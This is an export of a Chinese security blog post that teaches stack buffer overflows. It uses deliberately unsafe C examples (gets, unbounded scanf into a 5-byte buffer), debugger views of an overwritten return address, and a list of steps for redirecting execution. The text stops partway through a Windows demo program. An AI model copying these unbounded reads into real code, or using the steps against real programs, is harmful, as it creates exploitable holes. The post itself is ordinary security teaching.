{"id":515,"date":"2023-07-21T17:12:07","date_gmt":"2023-07-21T09:12:07","guid":{"rendered":"https:\/\/shangwendada.top\/?p=515"},"modified":"2023-08-01T15:55:04","modified_gmt":"2023-08-01T07:55:04","slug":"sec%e7%bc%93%e5%86%b2%e5%8c%ba%e6%ba%a2%e5%87%ba%e5%8e%9f%e7%90%86%e4%bb%a5%e5%8f%8a%e5%ae%9e%e8%b7%b5%e5%89%96%e6%9e%90","status":"publish","type":"post","link":"https:\/\/blog.shangwendada.top\/index.php\/2023\/07\/21\/sec%e7%bc%93%e5%86%b2%e5%8c%ba%e6%ba%a2%e5%87%ba%e5%8e%9f%e7%90%86%e4%bb%a5%e5%8f%8a%e5%ae%9e%e8%b7%b5%e5%89%96%e6%9e%90\/","title":{"rendered":"[Sec]\u7f13\u51b2\u533a\u6ea2\u51fa\u539f\u7406\u4ee5\u53ca\u5b9e\u8df5\u5256\u6790"},"content":{"rendered":"

[Sec]\u7f13\u51b2\u533a\u6ea2\u51fa\u539f\u7406\u4ee5\u53ca\u5b9e\u8df5\u5256\u6790<\/h1>\n

\u4ec0\u4e48\u662f\u7f13\u51b2\u533a<\/h2>\n

\u5728\u8bb2\u7f13\u51b2\u533a\u6ea2\u51fa\u4e4b\u524d\u5462\uff0c\u9996\u5148\u8bb2\u8bb2\u4ec0\u4e48\u662f\u7f13\u51b2\u533a
\n\u8ba1\u7b97\u673a\u4e2d\u6709\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u6982\u5ff5\u53eb\u505a\u7f13\u5b58C\u6807\u51c6\u5e93\u91cc\u5927\u91cf\u4f7f\u7528\u4e86\u7f13\u5b58\uff0c\u6700\u4e3a\u5178\u578b\u7684\u5c31\u662f\u6807\u51c6\u8f93\u5165\u548c\u6807\u51c6\u8f93\u51fa\u3002
\n\u90a3\u4e48\u5176\u5b9e\u7f13\u51b2\u533a\u5c31\u662f\u7f13\u5b58,\u5176\u5c5e\u4e8e\u5185\u5b58\u7a7a\u95f4\u7684\u4e00\u90e8\u5206\uff0c\u4e5f\u5c31\u662f\u5728\u5185\u5b58\u7a7a\u95f4\u4e2d\u9884\u7559\u4e86\u4e00\u5b9a\u7684\u5b58\u50a8\u7a7a\u95f4\uff0c\u8fd9\u4e9b\u5b58\u50a8\u7a7a\u95f4\u7528\u6765\u7f13\u51b2\u8f93\u5165\u6216\u8f93\u51fa\u7684\u6570\u636e\uff0c\u8fd9\u90e8\u5206\u9884\u7559\u7684\u7a7a\u95f4\u5c31\u53eb\u505a\u7f13\u51b2\u533a\u3002\u7f13\u51b2\u533a\u6839\u636e\u5176\u5bf9\u5e94\u7684\u662f\u8f93\u5165\u8bbe\u5907\u8fd8\u662f\u8f93\u51fa\u8bbe\u5907\uff0c\u5206\u4e3a\u8f93\u5165\u7f13\u51b2\u533a\u548c\u8f93\u51fa\u7f13\u51b2\u533a\u3002
\n\u89c2\u5bdf\u5982\u4e0b\u4ee3\u7801\u6bb5:<\/p>\n

\/\/\u7a0b\u5e8f\u5f00\u59cb\n#include<stdio.h>\n#include<string.h>\ntypedef unsigned longULONG;\n\nint main() {\n    char a[20]={0};\n    char b[20]={0};\n    scanf("%s",a);\n    printf("a: %s\\n",a);\n    gets(b);\n    printf("b: %s\\n",b);\n\n}\n\/\/\u7a0b\u5e8f\u5b8c<\/code><\/pre>\n
\u6309\u7167\u6b63\u786e\u7684\u903b\u8f91\u7684\u8bdd\uff0c\u8be5\u7a0b\u5e8f\u9996\u5148\u5e94\u8be5\u8f93\u5165\u5b57\u7b26\u4e32a,\u7136\u540e\u8f93\u5165\u5b57\u7b26\u4e32b,\u7136\u540e\u5206\u522b\u8f93\u51faa\u548cb\u7c7b\u4f3c\u4e8e\u8fd9\u6837:
\n
\"file\"<\/div>
\n\u53ef\u662f\u5b9e\u9645\u4e0a\u6211\u4eec\u83b7\u5f97\u7684\u8f93\u51fa\u662f\u8fd9\u6837\u7684:
\n
\"file\"<\/div>
\n\u7a0b\u5e8f\u5e76\u6ca1\u6709\u7b49\u6211\u4eec\u8f93\u5165\u5b57\u7b26\u4e32b\u5c31\u7ed3\u675f\u4e86\u8fd0\u884c<\/p>\n
\u8fd9\u662f\u56e0\u4e3a,\u7a7a\u683c\u7b26\u53f7\uff0c\u6362\u884c\u7b26\u53f7\u4ee5\u53caTAB\u90fd\u88abscanf\u51fd\u6570\u8ba4\u4e3a\u662f\u5206\u9694\u7b26\uff0c\u56e0\u6b64scanf\u5728\u8f93\u51fa\u6e05\u7406\u7f13\u51b2\u533a\u7684\u65f6\u5019\u53ea\u6e05\u7406\u4e86\u6211\u4eec\u8f93\u5165\u7684abc\u5e76\u6ca1\u6709\u6e05\u7a7a\u6211\u4eec\u6253\u5165\u7684\u56de\u8f66\uff0c\u5bfc\u81f4\u6211\u4eec\u7684gets\u51fd\u6570\u5f00\u59cb\u8fd0\u884c\u7684\u65f6\u5019\uff0c\u7f13\u51b2\u533a\u4e0d\u4e3a\u7a7a\uff0cgets\u5f00\u59cb\u8bfb\u53d6\u7f13\u51b2\u533a\u5185\u5bb9\u8bfb\u5230\u4e86\/n\u56de\u8f66\uff0c\u5bfc\u81f4\u76f4\u63a5\u7ec8\u6b62\u4e86\u8f93\u5165\uff0c\u56e0\u6b64b\u6ca1\u6709\u63a5\u6536\u5230\u4efb\u4f55\u5b57\u7b26\u3002<\/p>\n
\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528fflush(stdin)\u6216\u8005\u5728scanf\u540e\u9762\u52a0\u5165getchar()\u6765\u6e05\u7406\u7f13\u51b2\u533a\uff0c\u4f7f\u5f97\u7a0b\u5e8f\u8fd0\u884c\u5230gets\u51fd\u6570\u7684\u65f6\u5019\u7f13\u51b2\u533a\u4e3a\u7a7a\uff0c\u7b49\u5f85\u7528\u6237\u8f93\u5165
\n\u518d\u89c2\u5bdf\u5982\u4e0b\u4ee3\u7801\u6bb5:<\/p>\n
\/\/\u7a0b\u5e8f\u5f00\u59cb\n#include<stdio.h>\n#include<string.h>\n\ntypedef unsigned longULONG;\n\nint main() {\n    printf("\u6211\u662f\u4e00\u4e2a\u6d4b\u8bd5\u51fd\u6570");\n    while(1)\n    {\n        sleep(1);\n    }\n\n}\n\n\/\/\u7a0b\u5e8f\u5b8c<\/code><\/pre>\n
\u6b63\u5e38\u6765\u8bf4,\u7a0b\u5e8f\u4f1a\u8f93\u51fa\u201c\u6211\u662f\u4e00\u4e2a\u6d4b\u8bd5\u51fd\u6570\u201d,\u8ba9\u6211\u4eec\u770b\u770b\u5b9e\u9645\u8fd0\u884c\u60c5\u51b5
\n
\"file\"<\/div>
\n\u53d1\u73b0\u7a0b\u5e8f\u5e76\u6ca1\u6709\u8f93\u51fa,\u800c\u662f\u76f4\u63a5\u8fdb\u5165\u4e86while()\u5faa\u73af,\u8fd9\u662f\u56e0\u4e3aprintf\u9ed8\u8ba4\u662f\u884c\u7f13\u51b2,\u5f53\u7f13\u51b2\u533a\u88ab\u586b\u6ee1\u6216\u8005\u8f93\u51fa\u5b57\u7b26\u4e32\u91cc\u9762\u5b58\u5728\u6362\u884c\u7b26\u6216\u8005\u624b\u52a8\u8c03\u7528fflush\u51fd\u6570\u6765\u6e05\u7a7a\u7f13\u5b58\u533a\u7684\u7684\u65f6\u5019\u624d\u4f1a\u6b63\u5e38\u8f93\u51fa\u3002<\/p>\n
\u5230\u8fd9\u91cc\u5e94\u8be5\u5bf9\u7f13\u51b2\u533a\u51fa\u73b0\u4e86\u4e00\u4e2a\u5927\u81f4\u7684\u4e86\u89e3<\/p>\n
\u90a3\u4e48\u5177\u4f53\u8bb2\uff0c\u7f13\u51b2\u533a\u662f\u5e72\u5565\u7684\u5462\uff1f<\/p>\n
\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u5f53\u4e00\u4e2a\u8bbe\u5907\u662f\u5199\u5165\u8bbe\u5907\uff0c\u4e00\u4e2a\u8bbe\u5907\u662f\u8bfb\u53d6\u8bbe\u5907\u65f6\uff0c\u5982\u679c\u5199\u5165\u8bbe\u5907\u7684\u901f\u5ea6\u6bd4\u8bfb\u53d6\u8bbe\u5907\u5feb\uff0c\u90a3\u4e48\u5199\u5165\u8bbe\u5907\u5c31\u8981\u53d7\u9650\u4e8e\u8bfb\u53d6\u8bbe\u5907\uff0c\u800c\u5bfc\u81f4\u5199\u5165\u8bbe\u5907\u82b1\u8d39\u8fc7\u591a\u65f6\u95f4\uff0c\u90a3\u4e48\u6b64\u65f6\u6211\u4eec\u5f15\u5165\u7f13\u51b2\u533a\u7684\u6982\u5ff5\uff0c\u5982\u679c\u5199\u5165\u8bbe\u5907\u4e0d\u7b49\u5f85\u8bfb\u53d6\u8bbe\u5907\u8bfb\u53d6\uff0c\u800c\u76f4\u63a5\u5199\u5165\u7f13\u51b2\u533a\uff0c\u7136\u540e\u8ba9\u8bfb\u53d6\u8bbe\u5907\u81ea\u884c\u8bfb\u53d6\uff0c\u90a3\u4e48\u5199\u5165\u8bbe\u5907\u5c31\u4f1a\u5f97\u5230\u7a7a\u95f2\u65f6\u95f4\uff0c\u53ef\u4ee5\u7528\u6765\u505a\u522b\u7684\u4e8b\u60c5\u3002<\/p>\n
\u7f13\u51b2\u533a\u53c8\u5206\u4e3a\u5982\u4e0b\u51e0\u79cd\u7f13\u51b2\u533a\u7c7b\u578b<\/p>\n
1\u3001\u5168\u7f13\u51b2<\/p>\n
\u3000\u3000\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5c31\u662f\u5f53\u7f13\u51b2\u533a\u5b8c\u5168\u88ab\u586b\u6ee1\u4e4b\u540e\u624d\u8fdb\u884c\u8bfb\u53d6\u64cd\u4f5c\uff0c\u7c7b\u4f3c\u4e8e\u786c\u76d8\u7684\u8bfb\u5199\u3002<\/p>\n
2\u3001\u884c\u7f13\u51b2<\/p>\n
\u3000\u3000\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u5f53\u5728\u8f93\u5165\u548c\u8f93\u51fa\u4e2d\u9047\u5230\u6362\u884c\u7b26\u65f6\uff0c\u6267\u884c\u771f\u6b63\u7684\u8bfb\u5199\u64cd\u4f5c\u3002\u8fd9\u65f6\uff0c\u6211\u4eec\u8f93\u5165\u7684\u5b57\u7b26\u5148\u5b58\u653e\u5728\u7f13\u51b2\u533a\uff0c\u5f53\u51fa\u73b0\u6362\u884c\u7b26\u65f6\u624d\u8fdb\u884c\u7f13\u51b2\u533a\u7684\u8bfb\u5199\u64cd\u4f5c\uff0c\u6b63\u5982\u6211\u4eec\u4e0a\u9762\u63d0\u5230\u7684scanf\u51fd\u6570\u3002<\/p>\n
3\u3001\u4e0d\u5e26\u7f13\u51b2<\/p>\n
\u3000\u3000\u4e0d\u8fdb\u884c\u7f13\u51b2\uff0c\u76ee\u7684\u5219\u662f\u4e3a\u4e86\u8ba9\u6570\u636e\u66f4\u5feb\u7684\u663e\u793a\uff0c\u6216\u8005\u8bfb\u5165\u3002<\/p>\n
\u4ec0\u4e48\u662f\u7f13\u51b2\u533a\u6ea2\u51fa<\/h2>\n
\u7f13\u51b2\u533a\u6ea2\u51fa\u662f\u6307\u5f53\u8ba1\u7b97\u673a\u5411\u7f13\u51b2\u533a\u5185\u586b\u5145\u6570\u636e\u4f4d\u6570\u65f6\u8d85\u8fc7\u4e86\u7f13\u51b2\u533a\u672c\u8eab\u7684\u5bb9\u91cf\u6ea2\u51fa\u7684\u6570\u636e\u8986\u76d6\u5728\u5408\u6cd5\u6570\u636e\u4e0a\uff0c\u7406\u60f3\u7684\u60c5\u51b5\u662f\u7a0b\u5e8f\u68c0\u67e5\u6570\u636e\u957f\u5ea6\u5e76\u4e0d\u5141\u8bb8\u8f93\u5165\u8d85\u8fc7\u7f13\u51b2\u533a\u957f\u5ea6\u7684\u5b57\u7b26\uff0c\u4f46\u662f\u7edd\u5927\u591a\u6570\u7a0b\u5e8f\u90fd\u4f1a\u5047\u8bbe\u6570\u636e\u957f\u5ea6\u603b\u662f\u4e0e\u6240\u5206\u914d\u7684\u50a8\u5b58\u7a7a\u95f4\u76f8\u5339\u914d\uff0c\u8fd9\u5c31\u4e3a\u7f13\u51b2\u533a\u6ea2\u51fa\u57cb\u4e0b\u9690\u60a3\uff0c\u64cd\u4f5c\u7cfb\u7edf\u6240\u4f7f\u7528\u7684\u7f13\u51b2\u533a\uff0c\u53c8\u88ab\u79f0\u4e3a"\u5806\u6808"\u3002\u5728\u5404\u4e2a\u64cd\u4f5c\u8fdb\u7a0b\u4e4b\u95f4\uff0c\u6307\u4ee4\u4f1a\u88ab\u4e34\u65f6\u50a8\u5b58\u5728"\u5806\u6808"\u5f53\u4e2d\uff0c"\u5806\u6808"\u4e5f\u4f1a\u51fa\u73b0\u7f13\u51b2\u533a\u6ea2\u51fa\u3002<\/p>\n
\u8ba9\u6211\u4eec\u6765\u4f7f\u7528\u5177\u4f53\u6848\u4f8b\u89e3\u91ca\u4e00\u4e0b\u4ec0\u4e48\u662f\u7f13\u51b2\u533a\u6ea2\u51fa<\/p>\n
\u89c2\u5bdf\u5982\u4e0b\u4ee3\u7801:<\/p>\n
\/\/\u7a0b\u5e8f\u5f00\u59cb\n#include<stdio.h>\n#include<string.h>\n#include <unistd.h>\ntypedef unsigned longULONG;\n\nint check()\n{   \n    char p[5] = {0};\n    scanf("%s",p);\n    printf("%s",p);\n    return 0;\n}\nint main() {\n\n    check();\n    printf("\u662f\u5426\u80fd\u591f\u8fd0\u884c\u5230\u6b64\u5904\u5462?");\n    return 0;\n}\n\n\/\/\u7a0b\u5e8f\u5b8c<\/code><\/pre>\n
\u5bf9\u4e8e\u8be5\u7a0b\u5e8f\u800c\u8a00\uff0c\u6b63\u5e38\u6765\u8bf4\u6211\u4eec\u8f93\u5165\u5b57\u7b26\u4e32\u540e\uff0c\u7a0b\u5e8f\u4f1a\u8bfb\u53d6\u6211\u4eec\u7684\u5b57\u7b26\u4e32\u5e76\u4e14\u8fdb\u884c\u4e00\u4e2a\u8f93\u51fa\uff0c\u90a3\u4e48\u6211\u4eec\u53d1\u73b0\u8be5\u5b57\u7b26\u4e32\u53ea\u7533\u8bf7\u4e865\u7684\u5185\u5b58\u7a7a\u95f4\uff0c\u90a3\u4e48\u5f53\u6211\u4eec\u8f93\u5165\u201c111111111111111111111\u201c\u65f6\u4f1a\u53d1\u751f\u4ec0\u4e48\u5462\u3002
\n
\"file\"<\/div>
\n\u53d1\u73b0\u7a0b\u5e8f\u51fa\u5e76\u6ca1\u6709\u6267\u884c\u6211\u4eec\u4e3b\u51fd\u6570\u4e2d\u7684printf\u8bed\u53e5\uff0c\u800c\u662f\u76f4\u63a5\u9000\u51fa\u4e86\uff0c\u5e76\u4e14\u67e5\u770b\u4e0b\u65b9\u7a0b\u5e8f\u8fd0\u884c\u4fe1\u606f\u53d1\u73b0\u7a0b\u5e8f\u8fd0\u884c\u4e863.667\u79d2\uff0c\u663e\u7136\u4e0d\u662f\u6b63\u5e38\u65f6\u95f4\uff0c\u8fd4\u56de\u503c\u4e5f\u51fa\u73b0\u4e86\u5f88\u5927\u7684\u5f02\u5e38
\n\u5982\u4e0b\u662f\u6b63\u5e38\u60c5\u51b5\u4e0b\u8f93\u51fa\u7684\u5185\u5bb9
\n
\"file\"<\/div><\/p>\n
\u4e3a\u4ec0\u4e48\u4f1a\u5bfc\u81f4\u7a0b\u5e8f\u5d29\u6e83\u5462?<\/p>\n
\u5728\u6267\u884c\u7a0b\u5e8f\u7684\u8fc7\u7a0b\u4e2d\uff0c\u5f53\u4e3b\u51fd\u6570\u8c03\u7528check\u51fd\u6570\u540e\uff0c\u9996\u5148\u4f1a\u8fdb\u884c\u63d0\u5347\u5806\u6808\u7684\u64cd\u4f5c
\n
\"file\"<\/div>
\n\u67e5\u770b\u7f16\u8bd1\u5668\u4e2d\u7684cpu\u7a97\u53e3\uff0c\u53ef\u4ee5\u53d1\u73b0\u9996\u5148\u7a0b\u5e8f\u4f1a\u5c06ebp\u538b\u5165\u6808\u4e2d\uff0c\u7136\u540e\u5c06ebp\u79fb\u52a8\u5230esp\u7684\u4f4d\u7f6e\uff0c\u518d\u5c06esp\u63d0\u5347\u52300x28\u7684\u4f4d\u7f6e\u3002\u6b64\u65f6\u6808\u4e2d\u5df2\u7ecf\u538b\u5165\u4e86ebp\u5bc4\u5b58\u5668\u3002<\/p>\n
\u7136\u540e\u7a0b\u5e8f\u6267\u884c\u4e86\u5982\u4e0b\u6c47\u7f16\u6307\u4ee4<\/p>\n
mov     dword ptr [ebp+p], 0\nmov     [ebp+p+4], 0<\/code><\/pre>\n
mov dword ptr [ebp+p], 0\uff1a\u8be5\u6307\u4ee4\u5c06\u7acb\u5373\u6570 0 \u5b58\u50a8\u5230\u4f4d\u4e8e [ebp+p] \u5185\u5b58\u5730\u5740\u7684 DWORD \u53d8\u91cf\u4e2d\u3002\u5728\u8fd9\u91cc\uff0c[ebp+p] \u662f\u4e00\u4e2a\u76f8\u5bf9\u4e8e\u6808\u5e27\u6307\u9488 ebp \u7684\u504f\u79fb\u5730\u5740\uff0c\u8868\u793a\u5728\u6808\u4e0a\u5206\u914d\u7684\u67d0\u4e2a\u53d8\u91cf\u3002<\/p>\n
mov [ebp+p+4], 0\uff1a\u8fd9\u6761\u6307\u4ee4\u5c06\u7acb\u5373\u6570 0 \u5b58\u50a8\u5230\u4f4d\u4e8e [ebp+p+4] \u5185\u5b58\u5730\u5740\u7684 DWORD \u53d8\u91cf\u4e2d\u3002\u7531\u4e8e DWORD \u5360\u75284\u4e2a\u5b57\u8282\uff0c\u6240\u4ee5\u8fd9\u91cc\u7684\u504f\u79fb\u5730\u5740\u662f\u5728\u4e0a\u4e00\u4e2a DWORD \u53d8\u91cf\u7684\u540e4\u4e2a\u5b57\u8282\u4f4d\u7f6e\u4e0a\u3002<\/p>\n
\u901a\u8fc7\u4ee5\u4e0a\u4e24\u6761\u6307\u4ee4\uff0c\u8fd9\u6bb5\u6c47\u7f16\u4ee3\u7801\u521d\u59cb\u5316\u4e86\u4e24\u4e2a\u76f8\u90bb\u7684 DWORD \u53d8\u91cf\uff0c\u5e76\u5c06\u5b83\u4eec\u7684\u503c\u90fd\u8bbe\u7f6e\u4e3a 0\u3002\u8fd9\u4e9b\u53d8\u91cf\u540e\u7eed\u53ef\u80fd\u4f1a\u7528\u4e8e\u4fdd\u5b58\u51fd\u6570\u4e2d\u7684\u6570\u636e\u6216\u8005\u4f5c\u4e3a\u6808\u7a7a\u95f4\u7684\u4e34\u65f6\u5b58\u50a8\u3002<\/p>\n
\u7136\u540e\u6211\u4eec\u8c03\u8bd5\u7a0b\u5e8f\uff0c\u89c2\u5bdf\u5806\u6808\u4e2d\u7684\u4f7f\u7528\u60c5\u51b5\uff0c\u9996\u5148\u6211\u4eec\u6b63\u5e38\u8f93\u5165123\u3002<\/p>\n
\"file\"<\/div><\/p>\n
\u53ef\u4ee5\u53d1\u73b0\u6211\u4eec\u8f93\u5165\u7684123\u88ab\u538b\u5165\u4e86\u4e4b\u524d\u4e24\u6761\u6307\u4ee4\u521d\u59cb\u5316\u540e\u7684ebp+p\u7684\u4f4d\u7f6e\u4e0a<\/p>\n
\"file\"<\/div><\/p>\n
\u6267\u884c\u5230return\u7684\u65f6\u5019\u6211\u4eec\u67e5\u770bebp\u5bc4\u5b58\u5668\u4e2d\u5185\u5bb9<\/p>\n
\"file\"<\/div><\/p>\n
\u53ef\u4ee5\u53d1\u73b0EPB\u7684+4\u53f7\u4f4d\u7f6e\u50a8\u5b58\u4e86main\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740<\/p>\n
\u91cd\u65b0\u8c03\u8bd5\u7a0b\u5e8f\u8f93\u5165111111111111111111111\uff0c\u6211\u4eec\u518d\u89c2\u5bdf\u4e00\u4e0b\u5806\u6808\u4e2d\u7684\u60c5\u51b5<\/p>\n
\"file\"<\/div><\/p>\n
\u53ef\u4ee5\u53d1\u73b0\uff0c\u7531\u4e8e\u4e00\u5f00\u59cb\u6211\u4eec\u8bbe\u5b9a\u7684\u53d8\u91cf\u5927\u5c0f\u5e76\u6ca1\u6709\u6211\u4eec\u6211\u4eec\u8f93\u5165\u7684\u5185\u5bb9\u5927\uff0c\u56e0\u6b64\u5bfc\u81f4\u7a0b\u5e8f\u5728\u63d0\u5347\u5806\u6808\u7684\u65f6\u5019\u5e76\u6ca1\u6709\u7559\u4e0b\u8db3\u591f\u7684\u7a7a\u95f4\uff0c\u4ece\u800c\u5bfc\u81f4\u6211\u4eec\u8f93\u5165\u7684\u5185\u5bb9\u5411\u4e0a\u6ea2\u51fa\uff0c\u6ea2\u51fa\u5230\u4e86\u7a0b\u5e8f\u5b58\u50a8ebp\u4ee5\u53ca\u8fd4\u56de\u5730\u5740\u7684\u5730\u65b9\uff0c\u5bfc\u81f4\u5bf9\u8fd4\u56de\u5730\u5740\u8fdb\u884c\u4e86\u4e00\u4e2a\u8986\u76d6\uff0c\u4ece\u800c\u7a0b\u5e8f\u8fd0\u884c\u51fa\u9519\u3002<\/p>\n
\u56e0\u6b64\u8fd9\u79cd\u60c5\u51b5\u6211\u4eec\u5c31\u79f0\u4e3a\u7f13\u51b2\u533a\u6ea2\u51fa<\/p>\n
\u5229\u7528\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u5bf9\u7a0b\u5e8f\u8fdb\u884c\u653b\u51fb<\/h2>\n
\u9996\u5148\u8ba9\u6211\u4eec\u6765\u770b\u4e00\u4e0b\u6808\u7a7a\u95f4\u7684\u57fa\u672c\u7ed3\u6784
\n
\"file\"<\/div>
\n\u7531\u4e8e\u6808\u7684\u589e\u957f\u65b9\u5411\u662f\u4f4e\u5730\u5740\u589e\u957f\u7684\uff0c\u6240\u4ee5\u6570\u7ec4\u6307\u9488buffer\u5b58\u5728\u7684\u5730\u5740\u662f\u5728\u4e8e\u7f13\u51b2\u533a\u7684\u4e0b\u65b9\uff0c\u7136\u540e\u5f53\u7a0b\u5e8f\u5199\u5165\u6570\u636e\u8d85\u51fa\u7f13\u51b2\u533a\u6240\u80fd\u5b58\u50a8\u7684\u6570\u636e\u65f6\u5c31\u4f1a\u5bfc\u81f4\u5982\u4e0b\u60c5\u51b5:<\/p>\n
1.\u6df9\u6ca1\u4e86\u5176\u4ed6\u7684\u5c40\u90e8\u53d8\u91cf\uff1a\u5982\u679c\u88ab\u6df9\u6ca1\u7684\u5c40\u90e8\u53d8\u91cf\u662f\u6761\u4ef6\u53d8\u91cf\uff0c\u90a3\u4e48\u53ef\u80fd\u4f1a\u6539\u53d8\u51fd\u6570\u539f\u672c\u7684\u6267\u884c\u6d41\u7a0b\uff1b
\n2.\u6df9\u6ca1\u4e86\u7236\u51fd\u6570\u6808\u5e95\u6307\u9488 ebp \u7684\u503c\uff1a\u4fee\u6539\u4e86\u51fd\u6570\u6267\u884c\u7ed3\u675f\u540e\u8981\u6062\u590d\u7684\u6808\u6307\u9488\uff0c\u5c06\u4f1a\u5bfc\u81f4\u6808\u5e27\u5931\u53bb\u5e73\u8861\uff1b
\n3.\u6df9\u6ca1\u4e86\u8fd4\u56de\u5730\u5740\uff1a\u901a\u8fc7\u6df9\u6ca1\u7684\u65b9\u5f0f\u4fee\u6539\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\uff0c\u4f7f\u7a0b\u5e8f\u4ee3\u7801\u6267\u884c\u201c\u610f\u5916\u201d\u7684\u6d41\u7a0b\uff01
\n4.\u6df9\u6ca1\u53c2\u6570\u53d8\u91cf\uff1a\u4fee\u6539\u51fd\u6570\u7684\u53c2\u6570\u53d8\u91cf\u4e5f\u53ef\u80fd\u6539\u53d8\u5f53\u524d\u51fd\u6570\u7684\u6267\u884c\u7ed3\u679c\u548c\u6d41\u7a0b\uff1b
\n5.\u6df9\u6ca1\u4e0a\u7ea7\u51fd\u6570\u7684\u6808\u5e27\uff0c\u60c5\u51b5\u4e0e\u4e0a\u8ff04\u70b9\u7c7b\u4f3c\uff0c\u53ea\u4e0d\u8fc7\u5f71\u54cd\u7684\u662f\u4e0a\u7ea7\u51fd\u6570\u7684\u6267\u884c\u3002<\/p>\n
\u5176\u4e2d\u6211\u4eec\u4e3b\u8981\u5229\u7528\u7684\u70b9\u5c31\u662f\u6df9\u6ca1\u4e86\u8fd4\u56de\u5730\u5740\u3002<\/p>\n
\u5230\u8fd9\u91cc\uff0c\u6211\u4eec\u603b\u7ed3\u4e00\u4e0b\u5229\u7528\u7f13\u51b2\u533a\u6ea2\u51fa\u539f\u7406\u653b\u51fb\u7a0b\u5e8f\u7684\u6b65\u9aa4:<\/strong><\/p>\n
    \n
  1. \u7cbe\u786e\u5b9a\u4f4d\u8fd4\u56de\u5730\u5740\u7684\u4f4d\u7f6e<\/li>\n
  2. \u5bfb\u627e\u4e00\u4e2a\u5408\u9002\u7684\u5730\u5740\uff0c\u7528\u4e8e\u8986\u76d6\u539f\u59cb\u5730\u5740<\/li>\n
  3. \u5229\u7528\u6f0f\u6d1e\u4f7f\u5f97\u7a0b\u5e8f\u6267\u884c\u672c\u4e0d\u8be5\u6267\u884c\u7684\u4ee3\u7801<\/li>\n<\/ol>\n
    \u901a\u8fc7\u8986\u76d6\u8fd4\u56de\u5730\u5740\u6267\u884c\u5176\u4ed6\u51fd\u6570<\/h3>\n
    \u9996\u5148\u89c2\u5bdf\u6211\u4eec\u7684\u7528\u4f8b\u7a0b\u5e8f<\/p>\n
    #include <windows.h>\n#include <stdio.h>\nvoid akkk() {\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 